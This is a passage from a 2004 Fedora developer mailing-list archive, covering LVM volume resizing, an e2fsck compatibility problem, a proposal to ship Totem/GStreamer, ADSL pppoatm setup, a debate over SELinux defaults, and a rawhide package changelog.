hell when something like grub or > init scripts break. How exactly would LVM make things complex? Shuffling data around when you need to have more space than your physical partition can hold is complex, having your system setup in a way that you can easily(*) extend filesystems or move them from physical disks on the verge of breaking to new disks(**) is not. (*) e.g. with LVM1, when /scratch is to small: umount /dev/vg00/lv_scratch e2fsadm.lvm1 -L +5G /dev/vg00/lv_scratch mount /dev/vg00/lv_scratch or with LVM2 (we really need to have e2fsadm.lvm2 or better yet a script that can detect whether t operates on LVM1 or LVM2): umount /dev/vg00/lv_scratch lvm lvextend -L +5G /dev/vg00/lv_scratch resize2fs /dev/vg00/lv_scratch mount /dev/vg00/lv_scratch or with FC3 kernels and tools even online: lvm lvextend -L +5G /dev/vg00/lv_scratch ext2online /dev/vg00/lv_scratch (**) e.g. smartd warns you that /dev/sdb which contains the physical volume /dev/sdb1 is about to fail, so you do simply: plug in a new disk (say /dev/sdc) create first partition of type 8e (Linux LVM) lvm pvcreate /dev/sdc1 lvm vgextend vg00 /dev/sdc1 lvm pvmove /dev/sdb1 /dev/sdc1 This all is simple (albeit not stupid ;-). Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From mpeters at mac.com Thu Oct 7 09:31:38 2004 From: mpeters at mac.com (Michael A. Peters) Date: Thu, 7 Oct 2004 02:31:38 -0700 Subject: fsck.ext3 in FC2 Message-ID: <20041007093138.GA4539@devel.mpeters.us> [root at devel root]# e2fsck LABEL=/ e2fsck 1.35 (28-Feb-2004) e2fsck: Filesystem has unsupported feature(s) (/) e2fsck: Get a newer version of e2fsck! [root at devel root]# (note - this is from LABEL=/1 currently being mounted on /) Can we can an e2fsck package for FC2 that fixes this? I always like to run two installs - one version old on my scsi disk - as a stable backup in case I bork my system, and current version on my main IDE drive. But the backup "1 version old" install has to be able to mount / from the current install so that I can use symlinks to have the same /var/ spool/mail/mbox files. I've wiped FC1 off of my scsi drive, put FC2 on it, and am now running FC3test on the IDE drive - and came into this problem. So by the official FC3 release date, will we have an "official" update to fsck on FC2 pushed through yum, or will I need to update it myself? I would prefer not to "roll my own" anything on the scsi (one version old) install, it's suppose to be stock stable that works. From alexl at redhat.com Thu Oct 7 10:25:18 2004 From: alexl at redhat.com (Alexander Larsson) Date: Thu, 07 Oct 2004 12:25:18 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097097007.2721.33.camel@tux.lan> References: <1097097007.2721.33.camel@tux.lan> Message-ID: <1097144718.3967.97.camel@greebo.homeip.net> On Wed, 2004-10-06 at 23:10 +0200, Ronald S. Bultje wrote: > Hi, > > Today, the GStreamer team has released new versions of their GStreamer > core and plugins. Also, Bastien Nocera has released a new version of > Totem, which features a largely rewritten GStreamer backend, amongst > others. There has been a news posting about this on gnomedesktop.org. > We're convinced that the current combination of these is the best > legally shippable playback application that has been created so far. It > might not match mplayer yet, but it's pretty, stable, extensible [1], > fits well with the rest of the GNOME desktop and, not unimportant, it > will playback quite a few movies and webstreams by default already > (Ogg/Theora, in particular). Also, it's actively developed and > maintained by a large amount of developers (look at the GStreamer > plugins contributor list, for example). > > How would you guys feel about including this in Fedora Core? It would > add a missing piece to the desktop. We're also considering to propose > Totem for inclusion in GNOME 2.10. I updated rawhide to the latest gstreamer and gstreamer-plugins (not pushed yet) and built a package for totem. All required rpms are at: http://people.redhat.com/alexl/RPMS/totem/ Can people test this and see if it works well? =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl at redhat.com alla at lysator.liu.se He's an uncontrollable shark-wrestling master criminal who dotes on his loving old ma. She's a brilliant mutant barmaid from a family of eight older brothers. They fight crime! From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Thu Oct 7 10:35:15 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Thu, 7 Oct 2004 12:35:15 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097144718.3967.97.camel@greebo.homeip.net> References: <1097097007.2721.33.camel@tux.lan> <1097144718.3967.97.camel@greebo.homeip.net> Message-ID: <20041007123515.45917aff@localhost> Alexander Larsson wrote : > I updated rawhide to the latest gstreamer and gstreamer-plugins (not > pushed yet) and built a package for totem. All required rpms are at: > > http://people.redhat.com/alexl/RPMS/totem/ > > Can people test this and see if it works well? I'm glad to see some interest in this too, as if totem gets into FC3 (and I really hope it will!) and even though it'll be a bit limited by default (like xmms and rhythmbox), adding video playback support for many popular formats will only require gstreamer plugins and their dependencies, which is just about as far as Fedora Core can go patent-wise. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.541.dell Load : 0.46 0.35 0.28 From thomas at apestaart.org Thu Oct 7 10:36:13 2004 From: thomas at apestaart.org (Thomas Vander Stichele) Date: Thu, 07 Oct 2004 12:36:13 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <20041006224700.GA18962@devel.mpeters.us> References: <1097097007.2721.33.camel@tux.lan> <20041006224700.GA18962@devel.mpeters.us> Message-ID: <1097145372.1445.106.camel@otto.amantes> Hi, > YES!! > I'm using totem-gstreamer now on FC2 (0.99.16) and it isn't perfect, > there have been files it won't play that gst-launch-ext will play, but > it is quite good. For any kind of file like this, please file a bug. If gst-launch can play it, it means it's just a matter of integration. > GStreamer is definitely the missing piece of the puzzle in Gnome > multimedia - since it provides a good plugin framework that allow > installation of proprietary plugins without needing to recompile your > software against it. Yep, that was the goal from day one. IMO it's the only easily shippable solution for distros that do not want to violate patent-related laws, while still giving users the flexibility of adding functionality. In the not-so-far future, users will have the choice of installing "community plugins" (because the patent-related laws do not apply in their country, or they interpret them into not applying, or because users choose to take the risk themselves), and "commercial plugins" where you pay for the licenses, making sure you are legally in the clear. The latter will be provided by Fluendo, a new company which I work for. > I was planning to host a small yum repository for totem-gstreamer with > some plugins that livna/fedora stable doesn't provide - but if totem- > gstreamer makes it into Fedora Core (or even Fedora Stable) I only will > need to provide some of the video plugins. Which plugins does it not provide that you'd put in there ? It's better to get me to put them into the GStreamer rpms which are meant for submission into fedora.us > Now if someone would port Audacity to GStreamer - and sox (gsox ??) ... Take a look at marlin (http://marlin.sourceforge.net/), which is evolving very rapidly. It will probably hit the GStreamer repository soon this week. As for sox, I find gst-launch does everything I used to do with sox. Its syntax takes some getting used to, but less than sox :) I have been toying with the idea of writing replacements for common tools, but using GStreamer. Also, there are some interesting applications that would make worthwhile additions in the future. One is a video recorder using GStreamer, written by Ronald. Now that Theora is part of the distribution, it makes sense to have such an application in the core. Having one that is based on GStreamer would make sense, and it's shaping up nicely. The other I'll only mention briefly since I'm working on it and I don't want to toot our own horn too much :) But we're writing a streaming media server, called Flumotion, and the GPL version will stream Ogg/Theora and Vorbis, as well as some other things (like multipart encoded jpeg and audio), and the first release will be sometime this month. Exciting times for GStreamer ahead, for sure. As a company we're commited to pushing it above and beyond. I don't want to do too much cheerleading, but I'd be very happy if totem were accepted into Fedora Core 3. It makes sense. Thomas Dave/Dina : future TV today ! - http://www.davedina.org/ <-*- thomas (dot) apestaart (dot) org -*-> Oh, baby, give me one more chance <-*- thomas (at) apestaart (dot) org -*-> URGent, best radio on the net - 24/7 ! - http://urgent.fm/ From alan at redhat.com Thu Oct 7 11:14:23 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 7 Oct 2004 07:14:23 -0400 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097145372.1445.106.camel@otto.amantes> References: <1097097007.2721.33.camel@tux.lan> <20041006224700.GA18962@devel.mpeters.us> <1097145372.1445.106.camel@otto.amantes> Message-ID: <20041007111423.GE18229@devserv.devel.redhat.com> On Thu, Oct 07, 2004 at 12:36:13PM +0200, Thomas Vander Stichele wrote: > In the not-so-far future, users will have the choice of installing > "community plugins" (because the patent-related laws do not apply in > their country, or they interpret them into not applying, or because > users choose to take the risk themselves), and "commercial plugins" [Or the format is patent free 8)] Alan From dwmw2 at infradead.org Thu Oct 7 11:27:36 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Thu, 07 Oct 2004 12:27:36 +0100 Subject: DSL pppoatm (Re: rawhide report: 20041005 changes) In-Reply-To: <1096985406.26308.13.camel@localhost.localdomain> References: <200410051251.i95CpWa11675@porkchop.devel.redhat.com> <1096985406.26308.13.camel@localhost.localdomain> Message-ID: <1097148455.318.4.camel@hades.cambridge.redhat.com> On Tue, 2004-10-05 at 16:10 +0200, Matias F?liciano wrote: > > - Add pppoatm plugin (#131555) > > > pppoatm ! > Unbelievable. Fedora touch in action ? > I'll try it very soon (with bewan ADSL driver (proprietary)) . When it > reach my mirror. rp-pppoe-3.5-20 should also include pppoatm support in the /sbin/adsl-connect script. Instead of setting $ETH, set $VCI and $VPI in your ifcfg-ADSL config, and also set LINUX_PLUGIN=pppoatm.so I now have the driver automatically loading the firmware and initialising the hardware, and the initscripts handling all the PPP stuff.... all we need is for the pretty GUI network tools to catch up. -- dwmw2 From thomas at apestaart.org Thu Oct 7 11:59:24 2004 From: thomas at apestaart.org (Thomas Vander Stichele) Date: Thu, 07 Oct 2004 13:59:24 +0200 Subject: Totem/GStreamer and Fedora In-Reply-To: <20041007111423.GE18229@devserv.devel.redhat.com> References: <1097097007.2721.33.camel@tux.lan> <20041006224700.GA18962@devel.mpeters.us> <1097145372.1445.106.camel@otto.amantes> <20041007111423.GE18229@devserv.devel.redhat.com> Message-ID: <1097150363.1445.108.camel@otto.amantes> On Thu, 2004-10-07 at 13:14, Alan Cox wrote: > On Thu, Oct 07, 2004 at 12:36:13PM +0200, Thomas Vander Stichele wrote: > > In the not-so-far future, users will have the choice of installing > > "community plugins" (because the patent-related laws do not apply in > > their country, or they interpret them into not applying, or because > > users choose to take the risk themselves), and "commercial plugins" > > [Or the format is patent free 8)] > Surely Alan no such beast exists :) But yes, that too. Only in that case, no choice is to be made. You just install the one and only plugin... Thomas Dave/Dina : future TV today ! - http://www.davedina.org/ <-*- thomas (dot) apestaart (dot) org -*-> When somebody knows you well well there's no comfort like that And when somebody loves you well well there's no drug like that <-*- thomas (at) apestaart (dot) org -*-> URGent, best radio on the net - 24/7 ! - http://urgent.fm/ From alan at redhat.com Thu Oct 7 12:20:46 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 7 Oct 2004 08:20:46 -0400 Subject: Totem/GStreamer and Fedora In-Reply-To: <1097150363.1445.108.camel@otto.amantes> References: <1097097007.2721.33.camel@tux.lan> <20041006224700.GA18962@devel.mpeters.us> <1097145372.1445.106.camel@otto.amantes> <20041007111423.GE18229@devserv.devel.redhat.com> <1097150363.1445.108.camel@otto.amantes> Message-ID: <20041007122046.GA15819@devserv.devel.redhat.com> On Thu, Oct 07, 2004 at 01:59:24PM +0200, Thomas Vander Stichele wrote: > > [Or the format is patent free 8)] > > > > Surely Alan no such beast exists :) non-lzw encoded gifanim, vt100 ascii art, fli, raw images, .. 8) and patent rights granted - qv30, theora, dirac Alan From sds at epoch.ncsc.mil Thu Oct 7 12:29:25 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Thu, 07 Oct 2004 08:29:25 -0400 Subject: Current rawhide kernel? In-Reply-To: <1097130536.6863.17.camel@localhost.localdomain> References: <1097100264.3434.4.camel@tiger> <20041006221719.GF28226@redhat.com> <1097130536.6863.17.camel@localhost.localdomain> Message-ID: <1097152164.13339.1.camel@moss-spartans.epoch.ncsc.mil> On Thu, 2004-10-07 at 02:28, Paul wrote: > I've been running 590 on the laptop (used every day for about 12 hours a > day) since it came out. Never a moments hassle. Was SELinux enabled or disabled? At some point, Arjan's kernels dropped the tmpfs xattr handler patch needed to allow udev/tmpfs to work with SELinux, but it may have been restored (and the support has been submitted upstream now in a different form and is in the -mm patches, I think). -- Stephen Smalley National Security Agency From sds at epoch.ncsc.mil Thu Oct 7 12:46:39 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Thu, 07 Oct 2004 08:46:39 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097132840.5835.2.camel@proton.cygnusx-1.org> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> Message-ID: <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> On Thu, 2004-10-07 at 03:07, Nathan G. Grennan wrote: > So the move command is obsolete, and all users will figure this out and > accept it? The mv command preserve protections by default, as expected. A similar issue would arise if the original ownership and mode bits on the file prior to moving prevented access by apache, right? > It should be obvious that I am exposing it when I move it > to /var/www/html. As above, do you expect mv to rewrite the DAC ownership and mode bits when you move a file to /var/www/html? And note that the pathname by which you access a file tells us nothing useful about its protection requirements; a single file may have many names via multiple hard links, bind mounts, etc, and letting people bypass protection by using a different name is a classic security flaw. > I have seen users accidentally upload data to /home/user, instead > of /home/public_html and then move it. A user may also want to upload > big files like isos before a release to /home/user, and then move them > into /home/user/public_html when the time is right. Users will do all > kinds of things you can think of doing. And they already have to deal with setting mode bits. Running restorecon on the file as an extra step is just an education issue. > So it is good to be broken out of the box? This is also just one case > with one service. I am sure many more such problems will come up. I > think that SELinux should be more transparent to the user before > becoming the default. Improved transparency is certainly a good thing, but you are imposing an unfair requirement on SELinux that does not exist for the existing DAC protections and total transparency would just mean no protection at all. -- Stephen Smalley National Security Agency From buildsys at redhat.com Thu Oct 7 12:58:49 2004 From: buildsys at redhat.com (Build System) Date: Thu, 7 Oct 2004 08:58:49 -0400 Subject: rawhide report: 20041007 changes Message-ID: <200410071258.i97CwnG21190@porkchop.devel.redhat.com> Updated Packages: aiksaurus-1.2.1-2 ----------------- * Sun Oct 10 2004 Caolan McNamara 1.2.1-2 - #rh134808# BuildRequires gtk2-devel apel-10.6-5 ----------- * Wed Oct 06 2004 Akira TAGOH - 10.6-5 - require emacs-common instead of emacs. * Wed Oct 06 2004 Akira TAGOH - 10.6-4 - require xemacs-common instead of xemacs. (#134479) aspell-0.50.5-3.fc3 ------------------- * Wed Oct 06 2004 Than Ngo 12:0.50.5-3.fc3 - add obsolete aspell-config * Mon Aug 23 2004 Adrian Havill 12:0.50.5-2.fc3 - fix doc dir (#128140) (don't flag aspell doc stuff with the %doc flag due to rpm badness) * Mon Jun 21 2004 Warren Togami 12:0.50.5-1 - update to 0.50.5 cdparanoia-alpha9.8-24 ---------------------- * Wed Oct 06 2004 Peter Jones alpha9.8-24 - workaround for sgio read size issues in newer kernels. crypto-utils-2.1-2 ------------------ * Wed Oct 06 2004 Joe Orton 2.1-2 - add BuildRequire newt-devel, xmlto (#134695) ddskk-12.2.0-4 -------------- * Wed Oct 06 2004 Jens Petersen - 12.2.0-4 - drop requirements on emacs/xemacs for -nox users (Lars Hupfeldt Nielsen, 134479) desktop-printing-0.16-1 ----------------------- * Wed Oct 06 2004 Colin Walters 0.16-1 - Update to new upstream 0.16. - Drop upstreamed eggcups-0.15.2-gconf-printer-fix.patch dhcp-3.0.1-11 ------------- * Wed Oct 06 2004 Jason Vas Dias 7:3.0.1-11 - dhcp-3.0.2b1 came out today. A diff of the 'ack_lease' function - Dave Hankins and I patched exposed a missing '!' on an if clause - that got dropped with the 'new-host' patch. Replacing the '!' . - Also found one missing host_dereference. * Wed Oct 06 2004 Jason Vas Dias 7:3.0.1-10 - clean-up last patch: new-host.patch adds host_reference(host) - without host_dereference(host) before returns in ack_lease - (dhcp-3.0.1-host_dereference.patch) dos2unix-3.1-20 --------------- * Wed Oct 06 2004 Mike A. Harris 3.1-20 - Added dos2unix-3.1-manpage-update-57507.patch to fix manpage (#57507) - Added dos2unix-3.1-preserve-file-modes.patch to properly preserve file permissions (#91331,55183,112710,132145) dosfstools-2.8-14 ----------------- * Wed Oct 06 2004 Jeremy Katz - 2.8-14 - fix rebuilding (#134834) doxygen-1.3.9-1 --------------- * Wed Oct 06 2004 Than Ngo 1:1.3.9-1 - update to 1.3.9 elinks-0.9.2-1 -------------- * Wed Oct 06 2004 Karel Zak 0.9.2-1 - upload new upstream tarball with stable 0.9.2 release emacspeak-17.0-7 ---------------- * Wed Oct 06 2004 Jens Petersen - 17.0-7 - drop requirement on emacs for emacs-nox users (Lars Hupfeldt Nielsen, 134479) findutils-4.1.20-6 ------------------ * Wed Oct 06 2004 Tim Waugh 1:4.1.20-6 - Fixed bug #126352. flim-1.14.6-3 ------------- * Wed Oct 06 2004 Jens Petersen - 1.14.6-3 - drop requirements on emacs/xemacs for -nox users (Lars Hupfeldt Nielsen, 134479) freeradius-1.0.1-1 ------------------ * Wed Oct 06 2004 Thomas Woerner 1.0.1-1 - new version 1.0.1 - applied radrelay CVS patch from Kevin Bonner glibc-2.3.3-66 -------------- * Wed Oct 06 2004 Jakub Jelinek 2.3.3-66 - update from CVS - avoid using perl in the spec file, buildrequire sed >= 3.95 (#127671) - export TIMEOUTFACTOR=16 - fix _JMPBUF_CFA_UNWINDS_ADJ on s390{,x} * Tue Oct 05 2004 Jakub Jelinek 2.3.3-65 - update from CVS - define _POSIX_THREAD_PROCESS_SHARED and _POSIX_CLOCK_SELECTION to -1 in LinuxThreads - define _POSIX_CPUTIME and _POSIX_THREAD_CPUTIME to 0 on i?86/ia64 and make sure sysconf (_SC_{,THREAD_}CPUTIME) returns correct value - if _POSIX_CLOCK_SELECTION == -1 in nscd, still try sysconf (_SC_CLOCK_SELECTION) and if it returns true, dlopen libpthread.so and dlsym pthread_condattr_setclock - build nscd with -z relro and -z now * Mon Oct 04 2004 Jakub Jelinek 2.3.3-64 - update from CVS - stop using __builtin_expect in assert and assert_perror (#127606) - try to avoid too much VA fragmentation with malloc on flexmap layout (#118574) - nscd robustification - change valloc to use debugging hooks (#134385) - make glibc_post_upgrade more verbose on errors (Fergal Daly, gnome-volume-manager-1.1.0-3 ---------------------------- * Wed Oct 06 2004 John (J5) Palmieri - 1.1.0-3 - Added gnome-cdda-handler and associated schema to cause the cdda url handler to use the values in g-v-m's gconf key for audio cd's. This causes the g-v-m selected application for audio cd's to launch when double clicking on an audio cd icon in Nautilus. * Thu Sep 30 2004 John (J5) Palmieri - Added patch to add the dbus-glib-lowlevel.h header gstreamer-0.8.7-1 ----------------- * Wed Oct 06 2004 Alexander Larsson - 0.8.7-1 - update to 0.8.7 gstreamer-plugins-0.8.5-1 ------------------------- * Wed Oct 06 2004 Colin Walters - 0.8.5-1 - Update to 0.8.5 - Add mngsink - Remove speex for now, configure check is buggy hal-cups-utils-0.5.2-6 ---------------------- * Wed Oct 06 2004 John (J5) Palmieri - 0.5.2-6 - Add Colin Walter's daemon patch - Add BuildRequires for glib - Add patch to take out gdk from configure.in - Restart cups-config-daemon in the post * Mon Oct 04 2004 John (J5) Palmieri - Patch now calls killall -SIGHUP cupsd if pid file is wrong or does not exist. This is mainly for older cups versions which do not output a pid file. im-sdk-12.0.1-13.svn1943 ------------------------ * Wed Oct 06 2004 Akira TAGOH - 1:12.0.1-13.svn1943 - revert applying im-sdk-12.0.1-canna-aux-refcount.patch. (#134759, #134304) - leif-canna-late-aux-init.patch: applied this instead of. (#132340) - leif-default.patch: applied to make a dummy LE. * Tue Oct 05 2004 Jens Petersen - add bn_BD to list of langs that use iiimf by default (Jatin Nansi,134194) initscripts-7.88-1 ------------------ * Wed Oct 06 2004 Bill Nottingham - 7.88-1 - fix requires * Tue Oct 05 2004 Dan Walsh - 7.87-1 - Change SELinux relabel to not remount / * Mon Oct 04 2004 Bill Nottingham - use runuser instead of su; require it - init.d/halt: use right file name for random seed (#134432) iprutils-2.0.13-1 ----------------- * Wed Oct 06 2004 Jeremy Katz - 2.0.13-1 - update to 2.0.13 (#128996) java-1.4.2-gcj-compat-1.4.2.0-10jpp ----------------------------------- * Wed Oct 06 2004 Thomas Fitzsimmons 0:1.4.2.0-10jpp - Bump gcc version. (Fix #133898) kernel-2.6.8-1.598 ------------------ * Wed Oct 06 2004 Dave Jones - Rebase to 2.6.9-rc3-bk6 - Add xattr support for tmpfs. * Mon Oct 04 2004 Stephen C. Tweedie - Update ext3 online resize to 2.6.9-rc3-mm2 upstream - Reenable ext3 online resize in .spec * Tue Sep 28 2004 Jeremy Katz - add patch from Roland McGrath/James Morris to fix mprotect hook bug (#133505) libselinux-1.17.14-1 -------------------- * Fri Oct 01 2004 Dan Walsh 1.17.14-1 - Upgrade to latest from NSA * Merged setenforce and removable context patch from Dan Walsh. * Merged build fix for alpha from Ulrich Drepper. * Removed copyright/license from selinux_netlink.h - definitions only. libsoup-2.2.0-3 --------------- * Wed Oct 06 2004 David Malcolm - 2.2.0-3 - added requirement on libxml2 (#134700) linuxdoc-tools-0.9.20-14 ------------------------ * Wed Oct 06 2004 Tim Waugh 0.9.20-14 - Build requires groff (bug #134798). mew-3.3-4 --------- * Wed Oct 06 2004 Akira TAGOH - 3.3-4 - require emacs-common instead of emacs. - require xemacs-common instead of xemacs. mikmod-3.1.6-29 --------------- * Wed Oct 06 2004 Bill Nottingham 3.1.6-29 - install-info scripts go with -devel (#134882) mktemp-1.5-10 ------------- * Wed Oct 06 2004 Than Ngo 2:1.5-10 - fix Url #134804 mysql-3.23.58-12 ---------------- * Wed Oct 06 2004 Tom Lane 3.23.58-12 - fix multilib problem with mysqlbug and mysql_config - adjust chkconfig priority per bug #128852 - remove bogus quoting per bug #129409 (MySQL 4.0 has done likewise) - add sleep to mysql.init restart(); may or may not fix bug #133993 openoffice.org-1.1.2-9 ---------------------- * Wed Oct 06 2004 Dan Williams - 1.1.2-9 - Better fix for #134505 (OOo commits preedit strings before the actual commit) policycoreutils-1.17.6-1 ------------------------ * Fri Oct 01 2004 Dan Walsh 1.17.6-1 - Update with NSA * Added -l option to setfiles to log changes via syslog. * Merged -e option to setfiles to exclude directories. * Merged -R option to restorecon for recursive descent. psgml-1.2.5-4 ------------- * Wed Oct 06 2004 Jens Petersen - 1.2.5-4 - drop requirement on emacs for emacs-nox users (Lars Hupfeldt Nielsen, 134479) redhat-artwork-0.112-1 ---------------------- * Wed Oct 06 2004 Than Ngo 0.112-1 - fix PE_Splitter bug * Wed Oct 06 2004 Alexander Larsson - 0.111-1.1E - RHEL build * Wed Oct 06 2004 Alexander Larsson - 0.111-1 - fix various icon issues - fix dangling symlinks - build-require perl-XML-Parser rpm-4.3.2-10 ------------ * Wed Oct 06 2004 Jeff Johnson 4.3.2-10 - display caught signals to diagnose #134474 (gonna be SIGPIPE). - display N-V-R.A in dependency failure messages. - selinux: set "rpm_script_t" always, not just for /bin/sh. * Tue Oct 05 2004 Jeff Johnson 4.3.2-9 - fix: revert Obsoletes: "fix" (#134497). - fix: work around for dangling symlinks not globbed (#134362). rpmdb-fedora-2.92-0.20041007 ---------------------------- ruby-1.8.1-7 ------------ * Wed Oct 06 2004 Akira TAGOH - 1.8.1-7 - require emacs-common instead of emacs. s390utils-1.3.1-7 ----------------- * Wed Oct 06 2004 Phil Knirsch 2:1.3.1-7 - Made the raid patch less verbose (#129656) selinux-policy-strict-1.17.28-2 ------------------------------- * Wed Oct 06 2004 Dan Walsh 1.17.28-2 - Add reiser fix - allow syslog_t to access tmpfs_t for minilog * Wed Oct 06 2004 Dan Walsh 1.17.28-1 - Update from NSA - Rearrange rpm.te file for targeted policy selinux-policy-targeted-1.17.28-2 --------------------------------- * Wed Oct 06 2004 Dan Walsh 1.17.28-2 - Add reiser fix - allow syslog_t to access tmpfs_t for minilog * Wed Oct 06 2004 Dan Walsh 1.17.28-1 - Update from NSA - Rearrange rpm.te file for targeted policy setools-1.4.1-5 --------------- * Wed Oct 06 2004 Dan Walsh 1.4.1-5 - Update tresys patch * Mon Oct 04 2004 Dan Walsh 1.4.1-4 - Fix directory ownership * Thu Jul 08 2004 Dan Walsh 1.4.1-1 - Latest from Tresys shared-mime-info-0.15-6 ----------------------- * Wed Oct 06 2004 Alexander Larsson - 0.15-6 - Change default pdf viewer to ggv slrn-0.9.8.0-1 -------------- * Wed Oct 06 2004 Jindrich Novy 0.9.8.0-1 - update to 0.9.8.0 - execute runuser instead of su in slrnpull-expire #134597 system-config-packages-1.2.19-1 ------------------------------- * Mon Oct 04 2004 Jeremy Katz - 1.2.19-1 - Fix finding of CD mount point (#133657) udev-032-9 ---------- * Wed Oct 06 2004 Harald Hoyer - 032-9 - obsoleted $UDEV_LOG, use udev_log - correct SYMLINK handling in pam_console.dev - specfile cleanup - added check-cdrom.sh for nice cdrom symlinks util-linux-2.12a-11 ------------------- * Wed Oct 06 2004 Steve Dickson - Rechecked in some missing NFS mounting code. vim-6.3.029-2 ------------- * Wed Oct 06 2004 Karsten Hopp 6.3.029-2 - fix perl requirement - patchlevel 29 to fix crash when inserting a line break vino-2.8.0.1-2 -------------- * Thu Oct 07 2004 Mark McLoughlin 2.8.0.1-1.1 - Don't hang with metacity's "reduced resources" mode (#134240) - Improve the key repeat rate situation a good deal (#134451) vnc-4.0-8 --------- * Wed Oct 06 2004 Tim Waugh 4.0-8 - Use runuser not su in initscript (bug #134594). w3m-el-1.4.3-2 -------------- * Wed Oct 06 2004 Akira TAGOH - 1.4.3-2 - require emacs-common instead of emacs - require xemacs-common instead of xemacs wl-2.10.1-4 ----------- * Wed Oct 06 2004 Jens Petersen - 2.10.1-4 - drop requirements on emacs/xemacs for -nox users (Lars Hupfeldt Nielsen, 134479) - silence missing load warnings from semi/mime-setup.el with semi-silence-mime-setup-111612.patch (Reuben Thomas, 111612) xemacs-sumo-20040818-2 ---------------------- * Wed Oct 06 2004 Jens Petersen - 20040818-2 - rename auc-tex.info to auctex.info (Francis Tang, 134624) xfce4-systray-4.0.6-2 --------------------- * Wed Oct 06 2004 Than Ngo 4.0.6-2 - more Buildrequires xinitrc-4.0.13-1 ---------------- * Wed Oct 06 2004 Mike A. Harris 4.0.13-1 - Fix xinitrc script, by making it source xinitrc-common via absolute path instead of via relative path. Same fix as was done for Xsession in build 4.0.11-1 for bug (#134785) * Wed Oct 06 2004 Mike A. Harris 4.0.12-1 - Fix bug in ssh-agent support in Xsession which surfaced once common code was factored out into the xinitrc-common script. Preston Brown's initial implementation of ssh-agent support used "SSHAGENT" in Xsession, but used "SSH_AGENT" in xinitrc. The new common code uses "SSH_AGENT", however the Xsession script had some places remaining which still used "SSHAGENT", causing ssh-agent to fail to start. * Wed Oct 06 2004 Mike A. Harris 4.0.11-1 - Fix Xsession, by making it source xinitrc-common via absolute path instead of via relative path (#134785) yum-2.1.6-1 ----------- * Wed Oct 06 2004 Bill Nottingham - 2.1.6-1 - 2.1.6 From harald at redhat.com Thu Oct 7 13:01:56 2004 From: harald at redhat.com (Harald Hoyer) Date: Thu, 07 Oct 2004 15:01:56 +0200 Subject: DSL pppoatm (Re: rawhide report: 20041005 changes) In-Reply-To: <1097148455.318.4.camel@hades.cambridge.redhat.com> References: <200410051251.i95CpWa11675@porkchop.devel.redhat.com> <1096985406.26308.13.camel@localhost.localdomain> <1097148455.318.4.camel@hades.cambridge.redhat.com> Message-ID: <41653E44.9010701@redhat.com> David Woodhouse wrote: > On Tue, 2004-10-05 at 16:10 +0200, Matias F?liciano wrote: > >>>- Add pppoatm plugin (#131555) >> >> >>pppoatm ! >>Unbelievable. Fedora touch in action ? >>I'll try it very soon (with bewan ADSL driver (proprietary)) . When it >>reach my mirror. > > > rp-pppoe-3.5-20 should also include pppoatm support in the > /sbin/adsl-connect script. Instead of setting $ETH, set $VCI and $VPI in > your ifcfg-ADSL config, and also set LINUX_PLUGIN=pppoatm.so > > I now have the driver automatically loading the firmware and > initialising the hardware, and the initscripts handling all the PPP > stuff.... all we need is for the pretty GUI network tools to catch up. > more documentation please.... well, besides of string freeze.. From sds at epoch.ncsc.mil Thu Oct 7 13:00:01 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Thu, 07 Oct 2004 09:00:01 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097133615.2789.12.camel@laptop.fenrus.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> Message-ID: <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> On Thu, 2004-10-07 at 03:20, Arjan van de Ven wrote: > On Thu, 2004-10-07 at 01:24, Nathan Grennan wrote: > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=127900 > > > I don't think it is reasonable to have to relabel > > every time a file is moved around to work around possible problems with > > SELinux. > > sounds like apache should automatically relabel or something on start. Consider the parallel for DAC: would you recommend having apache run chown/chmod -R on /var/www on every start? Not a good idea for relabeling either. > The goal of the default selinux policy is to be invisible unless you're > an exploit. Seems like it's not ;( Teaching users to use restorecon in the same manner as chmod/chown if they want to export data to one of the confined services like apache is not an undue burden. Note that SELinux isn't preventing the user from doing what he wants; it is just preventing a confined service (apache) from accessing a file whose protections indicate that it shouldn't be accessible. No different than the user moving a file there without applying chown/chmod appropriately. -- Stephen Smalley National Security Agency From fedora-devel at camperquake.de Thu Oct 7 13:15:23 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Thu, 7 Oct 2004 15:15:23 +0200 Subject: Current rawhide kernel? In-Reply-To: <20041006221719.GF28226@redhat.com>; from davej@redhat.com on Wed, Oct 06, 2004 at 06:17:19PM -0400 References: <1097100264.3434.4.camel@tiger> <20041006221719.GF28226@redhat.com> Message-ID: <20041007151523.B24612@ryoko.camperquake.de> On Wed, Oct 06, 2004 at 06:17:19PM -0400, Dave Jones wrote: > > Somehow I am running kernel-2.6.8-1.590, I got this from rawhide maybe a > > week ago. Then the kernel version went back to .541. > > .590 was bad aparently, and causes zillions of selinux warnings. It worked fine for 